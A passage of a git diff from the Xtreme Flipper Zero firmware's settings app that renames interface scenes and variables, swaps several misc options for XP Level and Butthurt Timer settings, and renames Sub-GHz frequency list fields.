+ variable_item_list_reset(app->var_item_list); +} diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_graphics.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_graphics.c similarity index 72% rename from applications/main/xtreme_app/scenes/xtreme_app_scene_graphics.c rename to applications/main/xtreme_app/scenes/xtreme_app_scene_interface_graphics.c index d2506c30b..97a24080d 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_graphics.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_graphics.c @@ -7,21 +7,21 @@ enum VarItemListIndex { VarItemListIndexUnlockAnims, }; -void xtreme_app_scene_graphics_var_item_list_callback(void* context, uint32_t index) { +void xtreme_app_scene_interface_graphics_var_item_list_callback(void* context, uint32_t index) { XtremeApp* app = context; view_dispatcher_send_custom_event(app->view_dispatcher, index); } -static void xtreme_app_scene_graphics_asset_pack_changed(VariableItem* item) { +static void xtreme_app_scene_interface_graphics_asset_pack_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); variable_item_set_current_value_text( - item, index == 0 ? "SFW" : *CharList_get(app->asset_packs, index - 1)); + item, index == 0 ? "SFW" : *CharList_get(app->asset_pack_names, index - 1)); strlcpy( XTREME_SETTINGS()->asset_pack, - index == 0 ? "" : *CharList_get(app->asset_packs, index - 1), + index == 0 ? "" : *CharList_get(app->asset_pack_names, index - 1), MAX_PACK_NAME_LEN); - app->asset_pack = index; + app->asset_pack_index = index; app->save_settings = true; app->require_reboot = true; } @@ -30,7 +30,7 @@ const char* const anim_speed_names[] = {"25%", "50%", "75%", "100%", "125%", "150%", "175%", "200%", "225%", "250%", "275%", "300%"}; const int32_t anim_speed_values[COUNT_OF(anim_speed_names)] = {25, 50, 75, 100, 125, 150, 175, 200, 225, 250, 275, 300}; -static void xtreme_app_scene_graphics_anim_speed_changed(VariableItem* item) { +static void xtreme_app_scene_interface_graphics_anim_speed_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, anim_speed_names[index]); @@ -54,7 +54,7 @@ const char* const cycle_anims_names[] = { "24 H"}; const int32_t cycle_anims_values[COUNT_OF(cycle_anims_names)] = {-1, 0, 30, 60, 300, 600, 900, 1800, 3600, 7200, 21600, 43200, 86400}; -static void xtreme_app_scene_graphics_cycle_anims_changed(VariableItem* item) { +static void xtreme_app_scene_interface_graphics_cycle_anims_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, cycle_anims_names[index]); @@ -62,7 +62,7 @@ static void xtreme_app_scene_graphics_cycle_anims_changed(VariableItem* item) { app->save_settings = true; } -static void xtreme_app_scene_graphics_unlock_anims_changed(VariableItem* item) { +static void xtreme_app_scene_interface_graphics_unlock_anims_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); @@ -70,7 +70,7 @@ static void xtreme_app_scene_graphics_unlock_anims_changed(VariableItem* item) { app->save_settings = true; } -void xtreme_app_scene_graphics_on_enter(void* context) { +void xtreme_app_scene_interface_graphics_on_enter(void* context) { XtremeApp* app = context; XtremeSettings* xtreme_settings = XTREME_SETTINGS(); VariableItemList* var_item_list = app->var_item_list; @@ -80,19 +80,19 @@ void xtreme_app_scene_graphics_on_enter(void* context) { item = variable_item_list_add( var_item_list, "Asset Pack", - CharList_size(app->asset_packs) + 1, - xtreme_app_scene_graphics_asset_pack_changed, + CharList_size(app->asset_pack_names) + 1, + xtreme_app_scene_interface_graphics_asset_pack_changed, app); - variable_item_set_current_value_index(item, app->asset_pack); + variable_item_set_current_value_index(item, app->asset_pack_index); variable_item_set_current_value_text( item, - app->asset_pack == 0 ? "SFW" : *CharList_get(app->asset_packs, app->asset_pack - 1)); + app->asset_pack_index == 0 ? "SFW" : *CharList_get(app->asset_pack_names, app->asset_pack_index - 1)); item = variable_item_list_add( var_item_list, "Anim Speed", COUNT_OF(anim_speed_names), - xtreme_app_scene_graphics_anim_speed_changed, + xtreme_app_scene_interface_graphics_anim_speed_changed, app); value_index = value_index_int32( xtreme_settings->anim_speed, anim_speed_values, COUNT_OF(anim_speed_names)); @@ -103,7 +103,7 @@ void xtreme_app_scene_graphics_on_enter(void* context) { var_item_list, "Cycle Anims", COUNT_OF(cycle_anims_names), - xtreme_app_scene_graphics_cycle_anims_changed, + xtreme_app_scene_interface_graphics_cycle_anims_changed, app); value_index = value_index_int32( xtreme_settings->cycle_anims, cycle_anims_values, COUNT_OF(cycle_anims_names)); @@ -111,25 +111,25 @@ void xtreme_app_scene_graphics_on_enter(void* context) { variable_item_set_current_value_text(item, cycle_anims_names[value_index]); item = variable_item_list_add( - var_item_list, "Unlock Anims", 2, xtreme_app_scene_graphics_unlock_anims_changed, app); + var_item_list, "Unlock Anims", 2, xtreme_app_scene_interface_graphics_unlock_anims_changed, app); variable_item_set_current_value_index(item, xtreme_settings->unlock_anims); variable_item_set_current_value_text(item, xtreme_settings->unlock_anims ? "ON" : "OFF"); variable_item_list_set_enter_callback( - var_item_list, xtreme_app_scene_graphics_var_item_list_callback, app); + var_item_list, xtreme_app_scene_interface_graphics_var_item_list_callback, app); variable_item_list_set_selected_item( - var_item_list, scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneGraphics)); + var_item_list, scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneInterfaceGraphics)); view_dispatcher_switch_to_view(app->view_dispatcher, XtremeAppViewVarItemList); } -bool xtreme_app_scene_graphics_on_event(void* context, SceneManagerEvent event) { +bool xtreme_app_scene_interface_graphics_on_event(void* context, SceneManagerEvent event) { XtremeApp* app = context; bool consumed = false; if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(app->scene_manager, XtremeAppSceneGraphics, event.event); + scene_manager_set_scene_state(app->scene_manager, XtremeAppSceneInterfaceGraphics, event.event); consumed = true; switch(event.event) { default: @@ -140,7 +140,7 @@ bool xtreme_app_scene_graphics_on_event(void* context, SceneManagerEvent event) return consumed; } -void xtreme_app_scene_graphics_on_exit(void* context) { +void xtreme_app_scene_interface_graphics_on_exit(void* context) { XtremeApp* app = context; variable_item_list_reset(app->var_item_list); } diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu.c similarity index 64% rename from applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu.c rename to applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu.c index a16539ecf..50639098a 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu.c @@ -7,14 +7,14 @@ enum VarItemListIndex { VarItemListIndexAddApp, }; -void xtreme_app_scene_mainmenu_var_item_list_callback( +void xtreme_app_scene_interface_mainmenu_var_item_list_callback( void* context, uint32_t index) { XtremeApp* app = context; view_dispatcher_send_custom_event(app->view_dispatcher, index); } -static void xtreme_app_scene_mainmenu_wii_menu_changed(VariableItem* item) { +static void xtreme_app_scene_interface_mainmenu_wii_menu_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); @@ -22,33 +22,33 @@ static void xtreme_app_scene_mainmenu_wii_menu_changed(VariableItem* item) { app->save_settings = true; } -static void xtreme_app_scene_mainmenu_app_changed(VariableItem* item) { +static void xtreme_app_scene_interface_mainmenu_app_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); app->mainmenu_app_index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, *CharList_get(app->mainmenu_apps_names, app->mainmenu_app_index)); + variable_item_set_current_value_text(item, *CharList_get(app->mainmenu_app_names, app->mainmenu_app_index)); } -void xtreme_app_scene_mainmenu_on_enter(void* context) { +void xtreme_app_scene_interface_mainmenu_on_enter(void* context) { XtremeApp* app = context; XtremeSettings* xtreme_settings = XTREME_SETTINGS(); VariableItemList* var_item_list = app->var_item_list; VariableItem* item; item = variable_item_list_add( - var_item_list, "Wii menu", 2, xtreme_app_scene_mainmenu_wii_menu_changed, app); + var_item_list, "Wii menu", 2, xtreme_app_scene_interface_mainmenu_wii_menu_changed, app); variable_item_set_current_value_index(item, xtreme_settings->wii_menu); variable_item_set_current_value_text(item, xtreme_settings->wii_menu ? "ON" : "OFF"); item = variable_item_list_add( var_item_list, "App", - CharList_size(app->mainmenu_apps_names), - xtreme_app_scene_mainmenu_app_changed, + CharList_size(app->mainmenu_app_names), + xtreme_app_scene_interface_mainmenu_app_changed, app); app->mainmenu_app_index = 0; variable_item_set_current_value_index(item, app->mainmenu_app_index); - if(CharList_size(app->mainmenu_apps_names)) { - variable_item_set_current_value_text(item, *CharList_get(app->mainmenu_apps_names, app->mainmenu_app_index)); + if(CharList_size(app->mainmenu_app_names)) { + variable_item_set_current_value_text(item, *CharList_get(app->mainmenu_app_names, app->mainmenu_app_index)); } else { variable_item_set_current_value_text(item, "None"); } @@ -58,37 +58,37 @@ void xtreme_app_scene_mainmenu_on_enter(void* context) { variable_item_list_add(var_item_list, "Add App", 0, NULL, app); variable_item_list_set_enter_callback( - var_item_list, xtreme_app_scene_mainmenu_var_item_list_callback, app); + var_item_list, xtreme_app_scene_interface_mainmenu_var_item_list_callback, app); variable_item_list_set_selected_item( var_item_list, scene_manager_get_scene_state( - app->scene_manager, XtremeAppSceneMainmenu)); + app->scene_manager, XtremeAppSceneInterfaceMainmenu)); view_dispatcher_switch_to_view(app->view_dispatcher, XtremeAppViewVarItemList); } -bool xtreme_app_scene_mainmenu_on_event(void* context, SceneManagerEvent event) { +bool xtreme_app_scene_interface_mainmenu_on_event(void* context, SceneManagerEvent event) { XtremeApp* app = context; bool consumed = false; if(event.type == SceneManagerEventTypeCustom) { scene_manager_set_scene_state( - app->scene_manager, XtremeAppSceneMainmenu, event.event); + app->scene_manager, XtremeAppSceneInterfaceMainmenu, event.event); consumed = true; switch(event.event) { case VarItemListIndexRemoveApp: - if(!CharList_size(app->mainmenu_apps_names)) break; - if(!CharList_size(app->mainmenu_apps_paths)) break; - CharList_remove_v(app->mainmenu_apps_names, app->mainmenu_app_index, app->mainmenu_app_index + 1); - CharList_remove_v(app->mainmenu_apps_paths, app->mainmenu_app_index, app->mainmenu_app_index + 1); + if(!CharList_size(app->mainmenu_app_names)) break; + if(!CharList_size(app->mainmenu_app_paths)) break; + CharList_remove_v(app->mainmenu_app_names, app->mainmenu_app_index, app->mainmenu_app_index + 1); + CharList_remove_v(app->mainmenu_app_paths, app->mainmenu_app_index, app->mainmenu_app_index + 1); app->save_mainmenu_apps = true; app->require_reboot = true; scene_manager_previous_scene(app->scene_manager); - scene_manager_next_scene(app->scene_manager, XtremeAppSceneMainmenu); + scene_manager_next_scene(app->scene_manager, XtremeAppSceneInterfaceMainmenu); break; case VarItemListIndexAddApp: - scene_manager_next_scene(app->scene_manager, XtremeAppSceneMainmenuAdd); + scene_manager_next_scene(app->scene_manager, XtremeAppSceneInterfaceMainmenuAdd); break; default: break; @@ -98,7 +98,7 @@ bool xtreme_app_scene_mainmenu_on_event(void* context, SceneManagerEvent event) return consumed; } -void xtreme_app_scene_mainmenu_on_exit(void* context) { +void xtreme_app_scene_interface_mainmenu_on_exit(void* context) { XtremeApp* app = context; variable_item_list_reset(app->var_item_list); } diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu_add.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu_add.c similarity index 72% rename from applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu_add.c rename to applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu_add.c index af8733e97..57fa78090 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu_add.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu_add.c @@ -4,7 +4,7 @@ enum FileBrowserResult { FileBrowserResultOk, }; -static bool xtreme_app_scene_mainmenu_add_file_browser_callback( +static bool xtreme_app_scene_interface_mainmenu_add_file_browser_callback( FuriString* file_path, void* context, uint8_t** icon_ptr, @@ -16,7 +16,7 @@ static bool xtreme_app_scene_mainmenu_add_file_browser_callback( return success; } -void xtreme_app_scene_mainmenu_add_on_enter(void* context) { +void xtreme_app_scene_interface_mainmenu_add_on_enter(void* context) { XtremeApp* app = context; FuriString* string = furi_string_alloc_set_str(EXT_PATH("apps")); @@ -24,17 +24,17 @@ void xtreme_app_scene_mainmenu_add_on_enter(void* context) { .extension = ".fap", .skip_assets = true, .hide_ext = true, - .item_loader_callback = xtreme_app_scene_mainmenu_add_file_browser_callback, + .item_loader_callback = xtreme_app_scene_interface_mainmenu_add_file_browser_callback, .item_loader_context = app, .base_path = EXT_PATH("apps"), }; if(dialog_file_browser_show(app->dialogs, string, string, &browser_options)) { - CharList_push_back(app->mainmenu_apps_paths, strdup(furi_string_get_cstr(string))); + CharList_push_back(app->mainmenu_app_paths, strdup(furi_string_get_cstr(string))); Storage* storage = furi_record_open(RECORD_STORAGE); fap_loader_load_name_and_icon(string, storage, NULL, string); furi_record_close(RECORD_STORAGE); - CharList_push_back(app->mainmenu_apps_names, strdup(furi_string_get_cstr(string))); + CharList_push_back(app->mainmenu_app_names, strdup(furi_string_get_cstr(string))); app->save_mainmenu_apps = true; app->require_reboot = true; } @@ -44,7 +44,7 @@ void xtreme_app_scene_mainmenu_add_on_enter(void* context) { view_dispatcher_send_custom_event(app->view_dispatcher, FileBrowserResultOk); } -bool xtreme_app_scene_mainmenu_add_on_event(void* context, SceneManagerEvent event) { +bool xtreme_app_scene_interface_mainmenu_add_on_event(void* context, SceneManagerEvent event) { XtremeApp* app = context; bool consumed = false; @@ -62,6 +62,6 @@ bool xtreme_app_scene_mainmenu_add_on_event(void* context, SceneManagerEvent eve return consumed; } -void xtreme_app_scene_mainmenu_add_on_exit(void* context) { +void xtreme_app_scene_interface_mainmenu_add_on_exit(void* context) { UNUSED(context); } diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_statusbar.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_statusbar.c similarity index 71% rename from applications/main/xtreme_app/scenes/xtreme_app_scene_statusbar.c rename to applications/main/xtreme_app/scenes/xtreme_app_scene_interface_statusbar.c index 48d7e6484..9ea04ed69 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_statusbar.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_statusbar.c @@ -7,14 +7,14 @@ enum VarItemListIndex { VarItemListIndexbarBackground, }; -void xtreme_app_scene_statusbar_var_item_list_callback(void* context, uint32_t index) { +void xtreme_app_scene_interface_statusbar_var_item_list_callback(void* context, uint32_t index) { XtremeApp* app = context; view_dispatcher_send_custom_event(app->view_dispatcher, index); } const char* const battery_icon_names[] = {"OFF", "Bar", "%", "Inv. %", "Retro 3", "Retro 5", "Bar %"}; -static void xtreme_app_scene_statusbar_battery_icon_changed(VariableItem* item) { +static void xtreme_app_scene_interface_statusbar_battery_icon_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, battery_icon_names[index]); @@ -22,7 +22,7 @@ static void xtreme_app_scene_statusbar_battery_icon_changed(VariableItem* item) app->save_settings = true; } -static void xtreme_app_scene_statusbar_status_icons_changed(VariableItem* item) { +static void xtreme_app_scene_interface_statusbar_status_icons_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); @@ -30,7 +30,7 @@ static void xtreme_app_scene_statusbar_status_icons_changed(VariableItem* item) app->save_settings = true; } -static void xtreme_app_scene_statusbar_bar_borders_changed(VariableItem* item) { +static void xtreme_app_scene_interface_statusbar_bar_borders_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); @@ -38,7 +38,7 @@ static void xtreme_app_scene_statusbar_bar_borders_changed(VariableItem* item) { app->save_settings = true; } -static void xtreme_app_scene_statusbar_bar_background_changed(VariableItem* item) { +static void xtreme_app_scene_interface_statusbar_bar_background_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); @@ -46,7 +46,7 @@ static void xtreme_app_scene_statusbar_bar_background_changed(VariableItem* item app->save_settings = true; } -void xtreme_app_scene_statusbar_on_enter(void* context) { +void xtreme_app_scene_interface_statusbar_on_enter(void* context) { XtremeApp* app = context; XtremeSettings* xtreme_settings = XTREME_SETTINGS(); VariableItemList* var_item_list = app->var_item_list; @@ -56,41 +56,41 @@ void xtreme_app_scene_statusbar_on_enter(void* context) { var_item_list, "Battery Icon", BatteryIconCount, - xtreme_app_scene_statusbar_battery_icon_changed, + xtreme_app_scene_interface_statusbar_battery_icon_changed, app); variable_item_set_current_value_index(item, xtreme_settings->battery_icon); variable_item_set_current_value_text(item, battery_icon_names[xtreme_settings->battery_icon]); item = variable_item_list_add( - var_item_list, "Status Icons", 2, xtreme_app_scene_statusbar_status_icons_changed, app); + var_item_list, "Status Icons", 2, xtreme_app_scene_interface_statusbar_status_icons_changed, app); variable_item_set_current_value_index(item, xtreme_settings->status_icons); variable_item_set_current_value_text(item, xtreme_settings->status_icons ? "ON" : "OFF"); item = variable_item_list_add( - var_item_list, "Bar Borders", 2, xtreme_app_scene_statusbar_bar_borders_changed, app); + var_item_list, "Bar Borders", 2, xtreme_app_scene_interface_statusbar_bar_borders_changed, app); variable_item_set_current_value_index(item, xtreme_settings->bar_borders); variable_item_set_current_value_text(item, xtreme_settings->bar_borders ? "ON" : "OFF"); item = variable_item_list_add( - var_item_list, "Bar Background", 2, xtreme_app_scene_statusbar_bar_background_changed, app); + var_item_list, "Bar Background", 2, xtreme_app_scene_interface_statusbar_bar_background_changed, app); variable_item_set_current_value_index(item, xtreme_settings->bar_background); variable_item_set_current_value_text(item, xtreme_settings->bar_background ? "ON" : "OFF"); variable_item_list_set_enter_callback( - var_item_list, xtreme_app_scene_statusbar_var_item_list_callback, app); + var_item_list, xtreme_app_scene_interface_statusbar_var_item_list_callback, app); variable_item_list_set_selected_item( - var_item_list, scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneStatusbar)); + var_item_list, scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneInterfaceStatusbar)); view_dispatcher_switch_to_view(app->view_dispatcher, XtremeAppViewVarItemList); } -bool xtreme_app_scene_statusbar_on_event(void* context, SceneManagerEvent event) { +bool xtreme_app_scene_interface_statusbar_on_event(void* context, SceneManagerEvent event) { XtremeApp* app = context; bool consumed = false; if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(app->scene_manager, XtremeAppSceneStatusbar, event.event); + scene_manager_set_scene_state(app->scene_manager, XtremeAppSceneInterfaceStatusbar, event.event); consumed = true; switch(event.event) { default: @@ -101,7 +101,7 @@ bool xtreme_app_scene_statusbar_on_event(void* context, SceneManagerEvent event) return consumed; } -void xtreme_app_scene_statusbar_on_exit(void* context) { +void xtreme_app_scene_interface_statusbar_on_exit(void* context) { XtremeApp* app = context; variable_item_list_reset(app->var_item_list); } diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c index eb6fe0bbd..2286b8d31 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c @@ -1,11 +1,9 @@ #include "../xtreme_app.h" enum VarItemListIndex { - VarItemListIndexSortDirsFirst, VarItemListIndexChangeDeviceName, - VarItemListIndexExperimentalOptions, - VarItemListIndexDarkMode, - VarItemListIndexLeftHanded, + VarItemListIndexXpLevel, + VarItemListIndexButthurtTimer, }; void xtreme_app_scene_misc_var_item_list_callback(void* context, uint32_t index) { @@ -13,30 +11,26 @@ void xtreme_app_scene_misc_var_item_list_callback(void* context, uint32_t index) view_dispatcher_send_custom_event(app->view_dispatcher, index); } -static void xtreme_app_scene_misc_sort_dirs_first_changed(VariableItem* item) { +static void xtreme_app_scene_misc_xp_level_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); - bool value = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->sort_dirs_first = value; - app->save_settings = true; + app->xp_level = variable_item_get_current_value_index(item) + 1; + char level_str[4]; + snprintf(level_str, 4, "%li", app->xp_level); + variable_item_set_current_value_text(item, level_str); + app->save_level = true; } -static void xtreme_app_scene_misc_dark_mode_changed(VariableItem* item) { +const char* const butthurt_timer_names[] = + {"OFF", "30 M", "1 H", "2 H", "4 H", "6 H", "8 H", "12 H", "24 H", "48 H"}; +const int32_t butthurt_timer_values[COUNT_OF(butthurt_timer_names)] = + {-1, 1800, 3600, 7200, 14400, 21600, 28800, 43200, 86400, 172800}; +static void xtreme_app_scene_misc_butthurt_timer_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); - bool value = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->dark_mode = value; + uint8_t index = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, butthurt_timer_names[index]); + XTREME_SETTINGS()->butthurt_timer = butthurt_timer_values[index]; app->save_settings = true; -} - -static void xtreme_app_scene_misc_left_handed_changed(VariableItem* item) { - bool value = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - if(value) { - furi_hal_rtc_set_flag(FuriHalRtcFlagHandOrient); - } else { - furi_hal_rtc_reset_flag(FuriHalRtcFlagHandOrient); - } + app->require_reboot = true; } void xtreme_app_scene_misc_on_enter(void* context) { @@ -44,26 +38,31 @@ void xtreme_app_scene_misc_on_enter(void* context) { XtremeSettings* xtreme_settings = XTREME_SETTINGS(); VariableItemList* var_item_list = app->var_item_list; VariableItem* item; - - item = variable_item_list_add( - var_item_list, "Sort Dirs First", 2, xtreme_app_scene_misc_sort_dirs_first_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->sort_dirs_first); - variable_item_set_current_value_text(item, xtreme_settings->sort_dirs_first ? "ON" : "OFF"); + uint8_t value_index; variable_item_list_add(var_item_list, "Change Device Name", 0, NULL, app); - variable_item_list_add(var_item_list, " Experimental Options:", 0, NULL, app); + char level_str[4]; + snprintf(level_str, 4, "%li", app->xp_level); + item = variable_item_list_add( + var_item_list, + "XP Level", + DOLPHIN_LEVEL_COUNT + 1, + xtreme_app_scene_misc_xp_level_changed, + app); + variable_item_set_current_value_index(item, app->xp_level - 1); + variable_item_set_current_value_text(item, level_str); item = variable_item_list_add( - var_item_list, "Dark Mode", 2, xtreme_app_scene_misc_dark_mode_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->dark_mode); - variable_item_set_current_value_text(item, xtreme_settings->dark_mode ? "ON" : "OFF"); - - item = variable_item_list_add( - var_item_list, "Left Handed", 2, xtreme_app_scene_misc_left_handed_changed, app); - bool value = furi_hal_rtc_is_flag_set(FuriHalRtcFlagHandOrient); - variable_item_set_current_value_index(item, value); - variable_item_set_current_value_text(item, value ? "ON" : "OFF"); + var_item_list, + "Butthurt Timer", + COUNT_OF(butthurt_timer_names), + xtreme_app_scene_misc_butthurt_timer_changed, + app); + value_index = value_index_int32( + xtreme_settings->butthurt_timer, butthurt_timer_values, COUNT_OF(butthurt_timer_names)); + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, butthurt_timer_names[value_index]); variable_item_list_set_enter_callback( var_item_list, xtreme_app_scene_misc_var_item_list_callback, app); diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_add.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_add.c index 21b29e295..88e421147 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_add.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_add.c @@ -17,9 +17,9 @@ static void xtreme_app_scene_protocols_frequencies_add_text_input_callback(void* bool is_hopper = scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneProtocolsFrequenciesAdd); if(is_hopper) { - FrequencyList_push_back(app->subghz_hopper_frequencies, value); + FrequencyList_push_back(app->subghz_hopper_freqs, value); } else { - FrequencyList_push_back(app->subghz_static_frequencies, value); + FrequencyList_push_back(app->subghz_static_freqs, value); } app->save_subghz_frequencies = true; view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_hopper.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_hopper.c index 6068c590c..2a9e22004 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_hopper.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_hopper.c @@ -16,7 +16,7 @@ void xtreme_app_scene_protocols_frequencies_hopper_var_item_list_callback( static void xtreme_app_scene_protocols_frequencies_hopper_frequency_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); app->subghz_hopper_index = variable_item_get_current_value_index(item); - uint32_t value = *FrequencyList_get(app->subghz_hopper_frequencies, app->subghz_hopper_index); + uint32_t value = *FrequencyList_get(app->subghz_hopper_freqs, app->subghz_hopper_index); char text[10] = {0}; snprintf(text, sizeof(text), "%lu.%02lu", value / 1000000, (value % 1000000) / 10000); variable_item_set_current_value_text(item, text); @@ -30,14 +30,14 @@ void xtreme_app_scene_protocols_frequencies_hopper_on_enter(void* context) { item = variable_item_list_add( var_item_list, "Hopper Freq", - FrequencyList_size(app->subghz_hopper_frequencies), + FrequencyList_size(app->subghz_hopper_freqs), xtreme_app_scene_protocols_frequencies_hopper_frequency_changed, app); app->subghz_hopper_index = 0; variable_item_set_current_value_index(item, app->subghz_hopper_index); - if(FrequencyList_size(app->subghz_hopper_frequencies)) { + if(FrequencyList_size(app->subghz_hopper_freqs)) { uint32_t value = - *FrequencyList_get(app->subghz_hopper_frequencies, app->subghz_hopper_index); + *FrequencyList_get(app->subghz_hopper_freqs, app->subghz_hopper_index); char text[10] = {0}; snprintf(text, sizeof(text), "%lu.%02lu", value / 1000000, (value % 1000000) / 10000); variable_item_set_current_value_text(item, text); @@ -70,14 +70,14 @@ bool xtreme_app_scene_protocols_frequencies_hopper_on_event(void* context, Scene consumed = true; switch(event.event) { case VarItemListIndexRemoveHopperFreq: - if(!FrequencyList_size(app->subghz_hopper_frequencies)) break; + if(!FrequencyList_size(app->subghz_hopper_freqs)) break; uint32_t value = - *FrequencyList_get(app->subghz_hopper_frequencies, app->subghz_hopper_index); + *FrequencyList_get(app->subghz_hopper_freqs, app->subghz_hopper_index); FrequencyList_it_t it; - FrequencyList_it(it, app->subghz_hopper_frequencies); + FrequencyList_it(it, app->subghz_hopper_freqs); while(!FrequencyList_end_p(it)) { if(*FrequencyList_ref(it) == value) { - FrequencyList_remove(app->subghz_hopper_frequencies, it); + FrequencyList_remove(app->subghz_hopper_freqs, it); } else { FrequencyList_next(it); } diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_static.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_static.c index da485cbc0..e83dd1609 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_static.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_static.c @@ -16,7 +16,7 @@ void xtreme_app_scene_protocols_frequencies_static_var_item_list_callback( static void xtreme_app_scene_protocols_frequencies_static_frequency_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); app->subghz_static_index = variable_item_get_current_value_index(item); - uint32_t value = *FrequencyList_get(app->subghz_static_frequencies, app->subghz_static_index); + uint32_t value = *FrequencyList_get(app->subghz_static_freqs, app->subghz_static_index); char text[10] = {0}; snprintf(text, sizeof(text), "%lu.%02lu", value / 1000000, (value % 1000000) / 10000); variable_item_set_current_value_text(item, text); @@ -30,14 +30,14 @@ void xtreme_app_scene_protocols_frequencies_static_on_enter(void* context) { item = variable_item_list_add( var_item_list, "Static Freq", - FrequencyList_size(app->subghz_static_frequencies), + FrequencyList_size(app->subghz_static_freqs), xtreme_app_scene_protocols_frequencies_static_frequency_changed, app); app->subghz_static_index = 0; variable_item_set_current_value_index(item, app->subghz_static_index); - if(FrequencyList_size(app->subghz_static_frequencies)) { + if(FrequencyList_size(app->subghz_static_freqs)) { uint32_t value = - *FrequencyList_get(app->subghz_static_frequencies, app->subghz_static_index); + *FrequencyList_get(app->subghz_static_freqs, app->subghz_static_index); char text[10] = {0}; snprintf(text, sizeof(text), "%lu.%02lu", value / 1000000, (value % 1000000) / 10000); variable_item_set_current_value_text(item, text); @@ -70,14 +70,14 @@ bool xtreme_app_scene_protocols_frequencies_static_on_event(void* context, Scene consumed = true; switch(event.event) { case VarItemListIndexRemoveStaticFreq: - if(!FrequencyList_size(app->subghz_static_frequencies)) break; + if(!FrequencyList_size(app->subghz_static_freqs)) break; uint32_t value = - *FrequencyList_get(app->subghz_static_frequencies, app->subghz_static_index); + *FrequencyList_get(app->subghz_static_freqs, app->subghz_static_index); FrequencyList_it_t it; - FrequencyList_it(it, app->subghz_static_frequencies); + FrequencyList_it(it, app->subghz_static_freqs); while(!FrequencyList_end_p(it)) { 